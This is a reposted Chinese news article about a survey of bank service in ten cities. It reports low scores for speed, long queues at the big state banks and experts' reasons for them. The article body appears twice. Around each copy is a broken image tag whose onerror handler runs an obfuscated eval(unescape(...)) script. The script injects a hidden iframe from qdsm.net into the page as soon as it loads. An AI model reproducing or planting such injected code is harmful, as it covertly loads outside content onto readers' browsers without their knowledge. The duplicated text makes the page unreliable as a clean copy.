10城市金融服务报告:最不满银行服务" 慢吞吞"
[转贴 2010-02-13 13:58:05]
10城市金融服务报告:最不满银行服务" 慢吞吞"
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_468_60.html%20width%3D468%20height%3D60%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
银行服务距离老百姓的期望还有多远？零点集团针对北京、上海、广州、武汉等10个城市的4256位银行实际用户进行的一份调查报告显示：盘点2007，银行服务总得分为71.44分。而作为服务基础之一的“快速”，今年的得分下降明显，仅为67.5分。调查显示，10城市银行服务指数总得分方面，上海排名倒数第四。
对银行服务“慢吞吞”致使客户长时间排队等候的现象，本
报曾多次做过报道，虽然各银行也曾出台措施缓解排队问题，但却未从根本上解决银行柜台前的“长龙”现象，曾有暗访表明：国有四大银行的平均等候时间仍达41分钟。
此次调查中，专家把银行服务按“便利→快速→尊重→规范→默契”满足消费者的需求层次递增。今年银行服务的总体结构呈现出“胖头鱼”的特征，即：头（默契）大尾（便利）小，根基更加不稳。在“快速”方面得分也较低，尤其大银行在该方面不能让客户满意。数据显示，大银行的得分在62-69 分之间，股份制银行得分为70-76分。
对于默契增高，专家分析主要原因是私人银行兴起，关注了xx群体、次xx群体的需求，提升VIP服务、热销理财产品。然而，服务的快速性不能满足，依然会影响到客户的尊重、默契等感受。由于快速这块服务短板，制约了整个银行的总体服务水平。专家表示，怎样解决银行排队问题仍然是银行需要研究的一大课题，部分银行自助设备投放种类单一，设备利用率不高是导致排长队一个原因；而大堂经理对客户的引导不够也是原因之一。
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_180_150.html%20width%3D180%20height%3D150%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
银行服务距离老百姓的期望还有多远？零点集团针对北京、上海、广州、武汉等10个城市的4256位银行实际用户进行的一份调查报告显示：盘点2007，银行服务总得分为71.44分。而作为服务基础之一的“快速”，今年的得分下降明显，仅为67.5分。调查显示，10城市银行服务指数总得分方面，上海排名倒数第四。
对银行服务“慢吞吞”致使客户长时间排队等候的现象，本
报曾多次做过报道，虽然各银行也曾出台措施缓解排队问题，但却未从根本上解决银行柜台前的“长龙”现象，曾有暗访表明：国有四大银行的平均等候时间仍达41分钟。
此次调查中，专家把银行服务按“便利→快速→尊重→规范→默契”满足消费者的需求层次递增。今年银行服务的总体结构呈现出“胖头鱼”的特征，即：头（默契）大尾（便利）小，根基更加不稳。在“快速”方面得分也较低，尤其大银行在该方面不能让客户满意。数据显示，大银行的得分在62-69 分之间，股份制银行得分为70-76分。
对于默契增高，专家分析主要原因是私人银行兴起，关注了xx群体、次xx群体的需求，提升VIP服务、热销理财产品。然而，服务的快速性不能满足，依然会影响到客户的尊重、默契等感受。由于快速这块服务短板，制约了整个银行的总体服务水平。专家表示，怎样解决银行排队问题仍然是银行需要研究的一大课题，部分银行自助设备投放种类单一，设备利用率不高是导致排长队一个原因；而大堂经理对客户的引导不够也是原因之一。
郑重声明：资讯 【10城市金融服务报告:最不满银行服务" 慢吞吞" - CreditCard ...】由 发布，版权归原作者及其所在单位，其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实，请读者仅作参考，并请自行核实相关内容。若本文有侵犯到您的版权， 请你提供相关证明及申请并与我们联系（qiyeku # qq.com）或【在线投诉】，我们审核后将会尽快处理。
—— 相关资讯 ——
